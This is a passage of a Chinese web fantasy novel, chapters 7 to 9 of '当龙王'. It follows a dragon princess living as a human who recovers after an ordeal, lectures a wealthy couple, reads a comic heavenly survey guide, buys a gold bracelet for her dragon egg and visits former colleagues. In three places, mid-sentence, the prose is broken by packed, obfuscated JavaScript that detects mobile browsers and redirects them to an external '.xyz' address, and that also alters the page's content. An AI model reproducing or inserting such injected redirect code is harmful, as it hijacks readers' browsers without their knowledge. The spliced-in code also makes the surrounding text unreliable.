应真潇环顾一圈,这才发现自己在酒店房间,并且眼睛的不适已经消失了——看来,随着小崽离开她的身体,外挂从默认开启变成指令开启了。 这就龙性化多了,不该看的东西看多了,容易长针眼。 她又满意地亲了一口小崽。 手机放在枕边,正充着电。她一手捧着滴溜滴溜转圈的小崽,一手打开手机,两天没在线,手机里还是积攒了一些消息。 先是崇真观周道长的消息,他说替可丽饼师叔报个平安,仰赖她的符,下阳县的事情已经平息了,目前在收尾阶段。 此外,他还补充了一些消息,关于周珊珊带走蚣蝮石雕的始末。 下阳县是传统的农业产区,产业发展得不好,又靠近长三角,人口被虹吸,县里留守儿童孤寡老人众多。 现任主官是个能吏,在本地风评很好,为了引进龙珠集团的珍珠养殖及加工产业,前前后后跑了二十几次江城,费了很多心思,诚意也确实打动了周家。 随后周父去下阳考察,周珊珊随行,一眼就看中了石雕,但这东西是县里保护文物,谁敢私自买卖,所以没能达成。 周珊珊一计不成又生一计,背着周父威胁县里书记,说她只是借来婚礼展示两天,过后就还回来,要是书记不同意,她就让她爸到别的地方去投资,“你不想干有的是地方干!” 书记实在无法,县里本来产业基础不行,只好答应她,然后借口古建筑修缮,封闭了洗冤桥两天,这才有了后来的事。 又是威逼又是利诱,应真潇对周珊珊的讨厌又上了一个台阶,随口应付了一句。 陆雁锦也给她发了消息,时间是今天早上,说守了她两天还没醒,医生说是过度疲惫,他专业课老师点名很严实在没办法逃,就先回学校了,放学再过来。 不过,他有拜托周家找人来照顾她,还又给她转了十万块钱,说是感谢费,以及表达不能亲自陪床的歉意。 “哇哦,崽,你叔叔真大方。”应真潇给陆雁锦报了个平安,又打开手机摄像头对准龙蛋:“来,崽,我们拍个出生留念!” 龙族是乙木精气所化,并没有固定的孕期,小龙出生、破壳靠的是玄之又玄的机缘——应真潇自己在母后肚子里怀了二十年,又在蛋里蹲了快一百年。 小崽在母体只呆了两个月不到,但昨晚——也就是两天前,她和小崽一起,解决了那么大的问题,小崽得了机缘,诞生也属正常。 龙族的官方生日一般是破壳的日子,毕竟龙蛋不能算真的龙,要破壳之后,才能算是龙;但龙族父母一般也会在破壳之前,记录并每年庆祝诞生之日,以表达对小龙的喜爱之情。 应真潇的父母,到现在还会每年分别给她庆祝诞生日和破壳日呢。 思及于此,她觉得自己也应该对崽好一点,于是又亲了一口:“崽,妈妈下午带你去买礼物,买超大金镯子!” 龙族的审美,就是这么朴实无华。 龙蛋转了两圈,然后猛然往后一仰,平平的不再立起来了,但也不像有事,应真潇思考了一下,应该是要表达幸福到晕倒的意思。 乖崽。 她起身下床,打开酒店房门。 门外有个中年女子守着,是周母的助理,见她醒了,热情地安排酒店送餐,又通知周家父母过来。 周家父母很快就赶到了,相比起两天前初见时他们的意气风发,现在的两人显得尤为疲惫沧桑,周父头发都有些花白,周母眼下则挂着大大的眼袋。 “应大师,您终于醒了!”两人提了很多礼品来,极尽周到热情之能事,寒暄过后,周 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15447584|169451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 父试探道:“应大师,当时您给陆二少的护身符,我们也想给珊珊求一张。” 周母表情有些谄媚,跟着说:“对对,咱们也知道您写这个消耗大,感谢一定有诚意。珊珊犯了这么大的错,险些酿成大祸,您还愿意拉一把,我们内心的感谢真是说都说不完。” 应真潇把龙蛋塞进被窝,淡淡瞥了两人一眼。 “我已经说过了,你们家的事情,我不会再管。”她道:“周珊珊已经没有生命危险了,至于其他的,就要看她自己以后的造化,和你们周家祖上的福荫了。” 周家父母表情讪讪。 “《左传》有云:爱子,教之以义方,弗纳于邪。”应真潇又说:“真正的爱是教育她成为一个正直的人,而非提供物质享受和无底线的纵容宠溺。子孙不贤,多以征怨。” 她不过二十出头,教训起年逾花甲、事业有成的周家夫妇来,却并不让人觉得老气横秋,反而有一种上位者的威严和宽宥。 周家父母听得羞愧难当,脸红耳热之余,声音都有些哽咽了:“……应大师您指点的是。我们只有这一个女儿,她从小体弱多病,以前确实是短视,只顾着宠孩子,忽略了教育,险些酿成大祸。” 应真潇懒得管这家人的事,本想打发走,想了想,还是道:“看你们诚心,我提点一句,下阳县的投资,最好上上心,多让利,真正造福当地,也算是替周珊珊补偿当地百姓,偿还因果。” “您放心,您放心!”周家父母点头如捣蒜:“我们已经决定了,在原来投资的基础上,多投入五个亿,预计年产值两个亿,能增加两千多个就业岗位!这是我们应该做的!” 除此之外还有一些其他的投资和扶助政策,两人生怕应真潇不满意,噼里啪啦说了一连串,总的来说都很优惠,甚至说得上良心。 虽然给女儿赔罪的成分不小,但是君子论迹不论心,下阳县百姓能从中获益,青壮劳力不必背井离乡,老人孩子不必留守家中,总归是好事,应真潇满意地点点头。 又寒暄了两句,周家父母还赶着去处理首尾,放下礼品和一张一百万的支票离开了。 应真潇:…… 和你们这些有钱人拼了! 手机响了一声,是陆雁锦给她回的消息,说已经从学校出发,往这里来了,还有个半个小时到。 他特意过来一趟,应真潇总不能让他跑空,再加上她现在确实没有事情可做,索性在酒店等他。 正巧酒店送来了餐食,看起来十分美味,昏迷两天水米未进的应真潇食指大动,食物入口后,却忍不住瞪大了眼睛。 口感没问题,温度也正确,但是没有一点味道! 又尝了一口另一道菜,应真潇证实了自己的猜测,她确实失去了味觉。 这就是强行以凡人之躯,驱动龙族之力,干预他人因果的报应。 龙蛋若有所感,在她掌心蹭了蹭。 “……没事,崽,和下阳县百姓的性命相比,这点口腹之欲不算什么。”应真潇道。 她这龙比较乐观,安慰自己,作为代价,只是失去味觉已经是不幸中的万幸了,至少不太影响生活。 龙蛋还在拱,应真潇把它放到桌面上:“来,我崽先吃。” 龙族未破壳前没办法以物理的方式吃东西,但可以像神灵享受供奉一样,“吸取”食物的灵魂,前提是得到供奉——口头允许当然也算供奉。 被吸走灵魂的食物会变得寡淡无味,但是对应真潇没影响,她现在本来也尝不出味道。 母子二龙分食完午餐,应真潇窝进单人沙发,一边撸崽,一边研究天庭下发的调研指南。 7. 当龙王 07 这东西下发时是通讯玉碟,但随着应真潇变成凡人,它也变成了一本纸质书,代表应真潇现在只有阅读权限,而无发言权限。 指南第一段开宗明义:“鉴于上次基层调研活动中的种种乱象,考功司特颁布本指南,陈列反面典型和优秀案例,详细调研要求,旨在以评促改,提高调研效果,使调研活动真正惠及三界。” 正该如此,应真潇点点头,翻到下一页。 后面几页是反面典型,除了使者说的两个案例,大家在偷懒这件事情上可谓各显神通,有装成精神病在精神病院混吃混喝二十年的,有给大佬当金丝雀吃软饭的,不一而足。 考功司对身份做了模糊处理,但是如做,评论区飞快刷新——纸质书上的字不停变动,看起来确实像闹鬼。 【我宣布今年是精卫元年】 【文昌帝君桃李满天下,家里结苦瓜】 【当你在凝视癫公的时候,癫公也在凝视你】 【吃软饭也是狐狸精传统艺能了】 【说好的天庭因循守旧呢?我怎么感觉大家挺有创造力的,瑞思拜】 【也不能全怪他们,做人实在是太辛苦了】 【终于知道为什么犯了罪就要贬去凡间了,我以后一定遵纪守法,这辈子再也不做人了】 应真潇忍俊不禁。 其实她还挺喜欢做人的,比起坐在神座上高高在上地俯视,作为人类真正走进凡间,才真正地体会到人间的种种。 辛苦归辛苦,但总归是积极向上的东西多。 不过,她自己知道,这也是因为她本质不是人类。 对她来说,一切选择就像游戏里的支线任务,随时可以读档重来,怎么选择都不会造成严重后果;可对于普通人类来说,那就是他们的全部人生。 再往后翻一页,居然还有调研报告退回的申诉区: 【不是申诉,主要是说一下感想。以前在农村,信息比较闭塞,现在才知道居然还有水利专业,下辈子我要学水利,修大坝,从源头上把东海堵了】 【考功司批复:知错能改,善莫大焉,正确的职业规划有利于生涯发展。】 【不是凭什么判我们不合格啊?别的同学都能拜文昌庙我们拜不得?再说高中数学物理那是人学的啊,你厉害你考个大学看看实力!】 【考功司批复:请端正调研态度,多反省自己,少指责别人。】 【重新调研就重新调研,本公主可以的,但是有一件事,之前不懂事没避孕,回来之后发现怀孕了,小崽子能不能先把户口迁回仙界啊。】 【五百岁,但是不懂事。】 【贴主回复:公主的事情你少管!】 【考功司批复:公平起见,调研持续期间暂不处理户口迁移事项。另,天庭关爱下一代办公室温馨提示,请大家做合格的父君母君,对自己的子嗣负责。】 事不关己,应真潇哈哈大笑,道德极其低下。 再往后翻一页,应真潇笑不出来了。 她一下子坐直了,不敢置信地看着纸面上的内容,第一个优秀案例居然就是朱钰,还“帝君亲自审定,不日将进行表彰。” 朱钰是南海龙王的太子,应真潇表兄,也是一条优秀的龙才,年纪轻轻就镇守一方水域,更重要的是,他和应真潇年纪相仿,自幼打闹着长大——通俗地说,青梅竹马两小全猜。 不死心地又看了一眼,确认是南海的朱钰,应真潇悬着的心终于死了:…… 自己的失败固然难受,但同伙的成功更令龙揪心:) 她心碎地翻到下一个部分,是调研的具体要求,有了上一次的混乱的经验,这次新增了很多具体详尽的要求。 重新调研的期限根据违规的严重程度来定,反面典型那几个都得从头来过,应真潇情节比较轻微,再打两年工就行。 但是工作也有要求,对于具有大学本科及以上学历的调研人员,“须为缴纳五险一金的正规工作,薪资水平须达到工作地相应学历就业人员平均水平”,同时强调不得和原单位背景有关联。 评论区异彩纷呈: 【讲道理我们会计专业去蹲监狱也是符合行业现状的带编正经工作吧】 【月薪两千八每天笑哈哈,学管理的这辈子有了】 【我倒是想和原单位有联系,但是我去道观求职别人说大专的不要】 应真潇露出尴尬而不失礼貌的微笑。 唉,她的应用气象学又何尝不是天坑呢,还不让去气象局,这下一根筋变两头堵咯。 最后一部分是结语,是考功司现在的主管亲自写的,应真潇认识他,是五十年前飞升的凡人,比起某仙君、天尊之类的天庭传统称谓,他更喜欢别人叫他陈主任: 【我看到有些同志反映,这是仙界版的“上山下乡”,我认为这个比喻是不合适的。】 【你们这些人百分之六十通不过中考分流,百分之八十没考上大学,怎么好意思自称知识青年的?!】 从高考大省考上重点大学的应真·小镇做题家·潇总算得到了些许慰藉,满意地合上指南。 …… 陆雁锦来的时候,除了水果、补品,还给应真潇带了奶茶——大学生最高社交礼仪了属于是。 他带的正好是应真潇喜欢的口味,可惜现在喝不出味道,应真潇倍感遗憾。 陆雁锦不知道应真潇的想法,他撕开吸管,戳进奶茶盖子里开始喝,“看”到他的动作,小崽大约也意识到这是饮料了,好奇地往奶茶杯子上拱。 陆雁锦差点呛到,迟疑着:“我怎么感觉……它动了一下?” 他还以为那是个玉质摆件! 应真潇神色镇定:“是啊。” 说完,她撕开封膜:“喝吧。” 得到允许,小崽撒了欢,陶醉得翻滚个不停。 陆雁锦:…… 虽然已经经历过很多不科学场景,但这个画面还是狠狠地冲击了他一下。 好在他人傻心大,很快就说服了自己,一脸了然:“我知道了,这个是小应姐你的耳报神,或者类似的东西。” “……差不多吧,”应真潇说:“你可以这么认为。” 总不能承认这是她生的蛋吧,说了估计也没人信。 喝完奶茶,陆雁锦清清嗓子,有点紧张:“姐,我咨询个事,就是周叔叔他们现在请了道士给派对来宾做法事,我要不要也去参加下啊?” 世上没有不透风的墙,更何况派对来宾大多和周珊珊一个圈子,都是各家的少爷小姐,他们出了事根本瞒不住,以至于传得到处都是,周家动用了关系,才压住这事在网上的传播。 不过流言蜚语虽然暂时压下去了,其他人对周家教女无方,害自家孩子受罪的怨气却少不了,周家父母这两天焦头烂额,没少给人赔笑脸,生意也受了不小影响。 “自作自受罢了。”应真潇喝了一口味同白水,口感发腻的奶茶,艰难地管理住了表情:“蜃精把你骗走了,你并没有撞煞,不需要做法事,不过如果你需要心理安慰,也可以去。” 没有味道只有口感的奶茶真是太离谱了,她觉得自己快要对奶茶产生心理阴影了。 “噢噢,那倒不需要。其实我家找的周道长也这么说,不过姐你的话我更放心一点。”陆雁锦嘿嘿一笑:“对了,姐,周道长还说,那晚的妖怪,可能就是看到要出事,才骗我走的,你说呢?” 还交叉验证上了,应真潇哭笑不得:“我说了,找乐子或是有目的都有可能,要了解实情,你得找她本人问问。你说的那种情况,可能性确实不小。” “不过,不管有心还是无心,你都最好给她一点好处。”应真潇传授和精怪的相处之道。 陆雁锦点头,表示自己回头去问问,顿了顿,又神神秘秘地说:“姐,我给你说个事,你不要告诉别人。” 应真潇幽幽道:“每个人在泄密的时候都会这么说,你不会不知道吧?” “哦,你告诉别人也没事,没有人会信的。”陆雁锦说:“我只是增加一点说八卦的氛围感。” 应真潇:…… 还行,至少知道真正的秘密不能宣之于口。 “就是我哥,陆雁书,他之前失踪了一个月,前几天又回来了,而且没有任何失踪期间的记忆。”陆雁锦满脸心有余悸:“开始我家里人也觉得是精怪带走了,不过崇真观的周道长看了,说不是,他身上根本没有妖气。” 应真潇目光开始游移,一会儿摸摸小崽,一会儿嘬口奶茶,整个龙看起来很忙。 一直转圈,试图吸引家长注意力的龙蛋也安静了下来,显出一种同伙——或者说是赃物的心虚。 ——当然,这是应真潇脑补的,现在的龙蛋还没有那么精细复杂的感情,只是感觉到了家长的情绪。 “嗯,怎么说呢,我哥他体质比较特殊,其实一般鬼神根本近不了身。”陆雁锦又道:“而且他身上有比我厉害得多的信物,不太可能被妖怪拐走吧。” 应真潇:…… 说到体质特殊,她脑海里不禁开始涌现出一些画面。 虽然她也没有对比的对象,但是陆雁书体质应该确实挺特殊的,看起来那么清冷疏离的一个人,那种时候居然那么……爱哭。 摸摸挺拔的脊背就止不住颤抖,抬头看着她,泪水涔涔,显得朦胧又温顺,泪液像融化的红蜡,眼眶像浸透丹霞的白瓷…… 打住。 应真潇不太自在地咳了一声,反复回想就好像在脑子里猥亵陆雁书一样。 “最离谱的猜测是,有个道士说我哥和龙女娘娘有缘,东海是娘娘原籍,是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15447585|169451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 龙宫留客。”陆雁锦总结道:“……总之,现在还没有定论。好在我哥没受伤,也算是不幸中的万幸了。” 应真潇胆战心惊地看着他:…… 人类的想象力也太开阔了,差点就猜到真相了呢:) 她假笑:“有可能是龙宫留客,但是龙宫留客不太可能吧,你们要是好奇,可以让你哥去掷茭问问应真湖龙女啊。” 反正她是打死都不会承认的,有些事还是让它随风消散于东海吧。 “哦,那倒不至于。”陆雁锦说:“我爸妈说鬼神之事不可细究,不过我们已经去娘娘庙、龙王庙还有崇真观还愿了,还在东海边上做了济孤散香火的法事,感谢原住民们照顾。” 应真潇继续假笑,把话题糊弄过去了:“那你们有心了。” 讲完八卦,陆雁锦露出心满意足的表情,这些话他也没人分享,憋在心里怪难受的。 两人一时无言,陆雁锦安静了一会儿,又沮丧地挠挠头:“姐,我这两天一直在想,是不是不应该把长命锁给周珊珊啊?其实我也有点后怕,万一遇到坏妖怪,或者没有及时离开,那我家人肯定会很难过的。” 还有一点他没好意思明说,周珊珊盗挖石雕,差点害死很多人,虽然她的本意并非害人,也和陆雁锦没有关系,但陆雁锦还是隐约有负罪感。 “祸福无门,惟人自招。不管她做了什么,你问心无愧就行。”应真潇道:“不过最好离她这种人远点,就算没有鬼神之事,她这种作风,也迟早会给周围人招来祸端。” 陆雁锦点头如捣蒜,强调道:“我和她本来也不熟,只是初中校友而已,真的。我过来参加婚礼,主要是因为她爸妈请了我爸妈,我爸妈要守着我哥,没空来。” 提到爸妈,陆雁锦又说,他爸妈想请应真潇吃饭,感谢她的救命和赠符之恩。 “……吃饭就免了,最近不方便。”应真潇微笑:“替我谢谢叔叔阿姨的好意。” 她现在并不想见到陆雁书:) 陆雁锦也没强求,便说送她回市区,应真潇点点头,没拒绝。 崇县到市区,要么公交转地铁折腾两个小时,要么打车花两百块,更何况应真潇还有一大堆推脱不过的礼品要安顿,豪车直送舒适度总要高一些。 考虑到今天要先兑现给小崽的承诺,之后还要求职,她让陆雁锦送她到市气象局。 气象局大门口就是地铁站,再往前走一百米就是百货商店,楼上还有快捷酒店,档次不高,价格便宜,穷鬼精选。 要不是她现在没有味觉,这里其实还有一个优势:可以点到价格实惠、质量尚可的外卖。 “麻烦你了。”下车后,应真潇从塞得满满当当后备箱里抽出一盒杨梅,递给陆雁锦:“周先生给的,你拿回去吃。” “姐你真客气!”陆雁锦看着快捷酒店的招牌:“姐,你就住这啊?要不换一家吧,我家有锦江的白金卡,每年送一个月的住宿权益,不住白不住。” “不用,只是暂住,过阵子就搬走。”应真潇说:“我之前在气象局上班,就住附近,对这一片很熟悉。” 她开好房间,陆雁锦和司机一起,把行李送到房间,引起了前台的侧目。 ——豪车、帅哥、美女,还有看起来就很高档的礼物,出现在快捷酒店也太违和了! “行,那我先走了。”搬完行李,陆雁锦友善地和应真潇和小崽再见:“小应姐再见,崽崽再见。” 陆雁锦心大,自顾自地认定小崽是耳报神,倒也不害怕,反而好奇地和小崽互动,问应真潇它叫什么。 龙族未破壳前不能算龙,所以不会提前起名,一般都是称呼“我儿”、“宝宝”之类的,所以应真潇让陆雁锦叫他崽崽。 虽然不知道一人一龙到底是怎么聊的,但显然下车时,双方已经发展出了友谊,应真潇只能归结于小孩子就是爱跟大孩子玩。 眼下,小崽晃了晃,大约是说再见的意思。 和陆雁锦分别后,应真潇揣着小崽,直奔百货商场。 进店前,她和小崽约法三章:“等下我把你放包边上,你自己选,看到喜欢的就往左转,不喜欢就往右转,不要突然动起来吓人。” 应真潇背着一个单肩包,是她以前上班通勤用的,侧边有个放水杯的网袋,刚好可以把小崽放在里面。 她把小崽立在手心里,顺时针拧了一圈:“这是左转。”,又逆时针拧了一圈:“这是右转。” 小崽乖巧地往前点了点。 应真潇把他放进网袋里,他就安安静静地立着,假装自己是个饰品。 不料,两龙刚走进商店,龙蛋就有了异动。 他疯狂地向左旋转起来,随即又意识到不对,猛然一停,晃了晃,开始疯狂向右旋转。 ——宝宝不喜欢这里! 8. 当龙王 08 商场里空调开得凉飕飕的,人流稀疏,营业员也大多萎靡不振。 气象局附近的这家百货商场,本身已经有年头了,入驻商家档次也不高,不说门可罗雀,确实也不复当年的热闹。 更何况,现在是工作日的下午两点,早上点卯的精神劲早就过去了,下班又遥遥无期,萎靡似乎也说得过去。 总之,一切看起来都十分正常。 应真潇按住小崽,小崽会意,一股灵气顺着指尖涌来,她的眼球又开始胀痛,眼前的场景也随之变动。 没有蚣蝮石雕那样肉眼可见的邪恶,只是一层淡淡的黑影,笼罩着每一个人,看起来还是很寻常。 但这就是问题所在。 人群中可能会有个别人霉运缠身,印堂发黑;但不可能每个人都这样。 这里绝对有问题。 她松开手,拍了拍小崽,不动声色:“稍安勿躁。” 龙蛋停止了转动。 两龙走进商场里位置最好的一家金店,是个连锁品牌,在坊间很有知名度。 店内只有一个营业员,萎靡不振地打哈欠,看到应真潇走进来,抬抬眼皮,声音懒散:“小姐要点什么?” 做这行大多看人下菜碟,应真潇虽然漂亮得出奇,但穿着朴素,素面朝天,浑身上下加起来恐怕不超过两百块,又没有看起来阔绰的人跟着,不像是有多少消费能力的样子。 “金手镯。”应真潇说:“要纯金的,直径可调节,重量至少60克,预算十万块。” 眼见来了个大单,营业员总算精神了许多,她有些勉强地挤出微笑:“那我给您介绍介绍。” 真奇怪,最近一直这样,一来上班精神萎靡,身上哪哪都不舒服,却又说不出具体怎么不舒服。 想法一闪而过,又被开单的喜悦冲淡,她领着应真潇走到店内最显眼的展柜前——克重大、价格贵的金饰都是撑场面的,先把客户唬住,再去看平价金饰,心理落差会变大,可以促进消费。 摆在最中间的是一个造型浮夸的龙凤镯,克重117g,营业员介绍道:“这是我们的镇店之宝,龙凤花烛系列,很喜庆的,十二万多一点,超预算的部分,您可以分期。” 小崽向右拧了一圈。 应真潇会意:“不要这个。” 营业员又介绍了另一个,九十多克,十万冒尖,做成一支首尾相连的桃花枝的形状,精巧美丽:“这款叫招桃花,桃花象征好远,戴上会好运连连。” 小崽做了个往左转的动作,晃了一下,还是转向了右边。 看来是喜欢,但没那么喜欢,应真潇记下款式:“还有别的吗?” 下一款是个素面泥鳅背手镯,朴实无华,克重惊人,但龙族不喜欢这种低调的奢华。 营业员又介绍了好几款,都未能得到小崽的欢心,笑容已经有点挂不住了:“小姐,店里现货就是这些,要不您看看款式图册,我们到总部给您订一个?或者看看克重小一些的款。” 此时已经来到了展柜的尾部,应真潇刚要摇头,网袋里的小崽就像疯了一样向左转了起来,她赶紧按住小崽。 小崽消停了,蛋尖指向旁边的展柜,里面陈列着一款手镯,是一支折断的龙角,大体上呈现y字形,做工精致,还镶嵌着很多细碎宝石,在灯光下流光溢彩,美不胜收。 应真潇:…… 营业员见她看向那个镯子,介绍道:“小姐真是好眼光,这是我们和应真湖龙女庙共同推出的联名款,还在庙里开过光,限量一千件,您看到的这一件,是江城唯一一件在售的。” 小崽又疯狂地转起来。 应真潇:…… 不是,庙里的道士也太会做生意了,怎么又是联名又是限量的! 营业员又道:“这个系列很抢手呢,同系列的项链要三百多万,一千件早就卖完了,这个也是我们店主帮他朋友抢的,后来那位先生托别人抢到了项链,说龙角不能成对,才不要这个了。” 应真潇:…… 也行吧,至少不割穷人。 她欲言又止,最终还是决定尊重小崽对她的孺慕之情:“行吧,就要这个。多少钱?” 这回轮到店员欲言又止了:“这款,是我们的高定珠宝产品线,您别看克重只有五十多克,但是做工很好的,是我们总部的老师傅手工匠心制作的,镶嵌的宝石虽然小,也都是很上档次的宝石,还有龙女神力加持,大吉大利……” 应真潇有一种不详的预感:“多少钱?” 营业员:“十六万八千八百八十八。” 应真潇悬着的心终于死了。 除去周家夫妇给的一百万——这笔钱她准备捐出去,用来消费肯定会被判违规的;她所有可支配收入加起来只有十四万多,还是找陆雁锦借的。 小崽大约也感受到了她的窘迫,在她的掌心轻轻拱了一下,然后往右转圈。 应真潇被蹭得道心破碎,理智化为乌有,咬咬牙:“好,包起来!” 再苦不能苦孩子,她想起自己刚出生的时候,父王母后什么金银珠宝都往她身上堆,蛋上每天都挂着不重样的首饰,任谁看了不说好幸福的一条小龙。 龙生得意须尽欢,千金散尽还复来! 她立马说服了自己,打开手机,点进和陆雁锦的聊天记录:【在?再借五万块钱。】 孩子亲叔叔给孩子发点低息贷款怎么啦?应该的。 陆雁锦很快就回消息了,没问她要钱干嘛,只是爽快地打过来十万块钱,备注自愿赠与。 陆鲤鲤:【姐,你缺钱了找我,不用客气。】 应真潇感动地拒绝了他。 唉,孩子心是好的,但是天庭有天庭的纪律,不能乱拿群众的针线啊。 应真潇去收银台扫完码,带着收据返回店里。 大单成交,营业员露出喜色,一边把手镯从展柜中取出来,一边道:“龙角请到家,福禄满堂花!咱们这款手镯,凭发票终身享受修缮和校圆服务,为您人生的每一个阶段增光添彩!” 所谓校圆,就是利用模具,修改手镯直径的同时,保持其圆润的形状。 应真潇把蛋掏出来:“按这个尺寸改,最好能刚好箍住。” “……啊?”营业员迟疑了一下:“您这个……玉球……直径比较小,手镯首尾可能会交错,能接受吗?当然,我们大师傅会尽量做的有美感一些。” 应真潇:“可以。” 营业员拿出软尺,量了龙蛋的尺寸,又拍了龙蛋的照片:“这个要送回总部加工中心去调整,然后再去庙里请大师加持,大约需要三天,到时候我通知您来取。” 整个流程仪式感十足,不过,这样的首饰溢价也就溢在情绪价值上。 买完手镯,应真潇揣着龙蛋,在百货商场里转了一圈。 四处都是这样,异常,但并不严重,而且看不出来问题。 她激发小崽,散出一道龙灵之气,室内的状况立马缓解了不少,来往的人员肉眼可见的精神了。 随后,她带着小崽离开了,决定先静观其变,代码能跑,就暂时不动它。 …… 陆雁锦走进家门,把外套交给迎上来的管家:“谢谢。我哥呢?” 他哥出院以后,被父母勒令在家中休养,完全恢复后才能回去独居,所以他最近也一直在父母家中住着,直到两天前应真潇昏迷。 管家笑容慈祥:“大少在他房间里的书房。” 陆雁锦点点头,钻进陆雁书套房里的书房。 书房采光极佳,高大英俊的青年身形挺拔,坐在落地窗前的沙发上。 他双腿交叠,一手扶着膝上的胡桃木画板,一手拿着铅笔,没有动笔,只是看着空白的纸面,神色沉静,显出清冷疏离的气质。 陆雁锦凑过去,献宝似地捧出一盒东西:“哥!吃杨梅!” 高档水果住的都是单间,十二个凹槽里,此时正正好好剩下六颗。 陆雁书放下笔和画板:“你吃吧。那位……应小姐,身体恢复了?” “嗯嗯。”陆雁锦也不和他哥客气,又拿起一颗杨梅:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15447586|169451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她说有事要回市区,我就送她回来了。不过,我们约好了,过几天一起去东海边做道场,感谢那位救了我的妖怪。” 顿了顿,他又道:“哥,要不你也去问问?虽然你什么也不记得,但是说不定有目击证人呢?” 陆雁书淡淡道:“鬼神之事,不必细究。” 于是陆雁锦一边吃,一边又叽叽喳喳地说了一阵,关于这两天的见闻,有些是牵扯到生意场上的情报,有些则是纯八卦。 他哥很少回话,但确实是个很好的倾听者,陆雁锦打小就爱和他说话,从幼儿园说到读大学,嘚吧个没完。 把肚子里的话倒完,陆雁锦心满意足,吃掉最后一颗杨梅:“就是这些。我还有作业,先回房间了哥,你有事就叫我。” “嗯,去吧。” 目送他哼着歌离开,陆雁书看向一旁空空如也的画板,目光沉静。 无论是对医生还是家人,他都表示,自己对失踪期间的事情,一无所知。 但事实,是也不是。 他确实不记得发生了什么,但午夜梦回时,总有一些记忆的碎片闪回——那甚至说不上片段,只是一些朦胧、零散、光怪陆离、毫无意义的场景。 场景的中心是一位女子,其实看不清面貌,只有朦胧的轮廓,但陆雁书无端觉得,那人貌美得出奇。 她嘴唇轻轻开合,陆雁书却听不见她在说什么,耳边唯一的声音,便是他自己的心跳声。 扑通、扑通。 就好像他的心脏,等待了好多好多年,终于在见到她的那一刻成型,并且开始为她而跃动。 那种鼓噪的悸动,随着画面的回想再一次浮现,陆雁书轻轻按了按胸口。 起初,他试图向旁人描述梦境的场景,又或者是通过笔触记录,但均以失败告终;每当他试图投射脑海中的记忆时,那些零碎的场景就会变得模糊,甚至令他怀疑是否只是自己的错觉。 但当他保持缄默时,它们的存在又变得如此清晰。 总之,陆雁书不再尝试了。 或许像父母所说,鬼神之事,不可细究;又或者,梦姑小姐,希望他保守那个沉没在海底的秘密。 他沉默地起身,把画板收进柜子里。 …… 从百货商场出来时,时间还早,应真潇带着周家和陆家送来的水果零食,去气象局探亲。 她在老单位一向人缘不错,刚进大厅,就有其他组的同事热情招呼:“小应回来了啊,你们组搬到三楼最里面那个大办公室了,别跑空了。” “谢谢叔。”应真潇笑着递过去一盒水果:“叔,请你们组吃水果。” “哎哟,小应这么客气,那叔今天沾你光了,也替我们组其他人谢谢你啊。” 她把相熟的办公室都送了一遍,连保卫科都没落下,回自己组的时候,手上还有七八盒,足见两家到底送了多少。 新办公室宽敞明亮,陈列墙上除了以前那些荣誉、奖励,还新增了不少上次事件的荣誉表彰,什么“人民卫士”、“见义勇为模范”、“党员先锋小组”,颁发单位级别都还挺高。 看来她离开的这段时间,大家过得还是挺滋润的。 应真潇笑着敲了敲门板:“有人在吗?外卖到了。” 众人纷纷抬起头来,发现是她,办公室里的气氛立马就热烈了起来。 “潇潇!好久不见!” “上午还说你呢!” “回就回来,还这么客气。”同事上前接过她手里的零食水果,嘻嘻哈哈:“朝廷发赈灾粮了!” 应真潇给自己组留的都是最好的东西,乒乓球大小的杨梅、精贵脆弱、用保温盒装着的薄皮樱桃和大荔枝、据说吃起来有玫瑰风味的进口红提,还有价格高昂的白脱饼干礼盒。 大家都是识货的人,纷纷说她破费了,给她搬来一张人体工学椅,又倒了茶:“这可是组长新搞来的好茶叶!” “你们喜欢就好。”应真潇拿了一颗同事洗好的葡萄,不出意外地没有任何味道:“对了,雅青怎么没在?” 9. 当龙王 09 张雅青是她在组里最要好的同事,两人是组里唯二的女生,年龄相仿又坐隔壁,还是口味相近的饭搭子,自然关系融洽。 “雅青妈妈身体不舒服,请假回老家探亲了。”组长说:“小应晚上有没有安排?没有的话,来和我们一起聚餐。” 晚上这顿饭是张雅青请的。 上次事故后,他们组可谓是出尽了风头,组织行动的组长和制服凶手的应真潇,评了先进个人和个人一等功;小组也评了个集体一等功,除了精神层面的表彰,物质层面的奖励也有。 手里有钱,张雅青退了合租的次卧,租了个小两居室,准备把母亲接过来同住——她父亲前几年就去世了,母亲身体也不大好,只是之前张雅青工资低,不愿意过来给她增加负担。 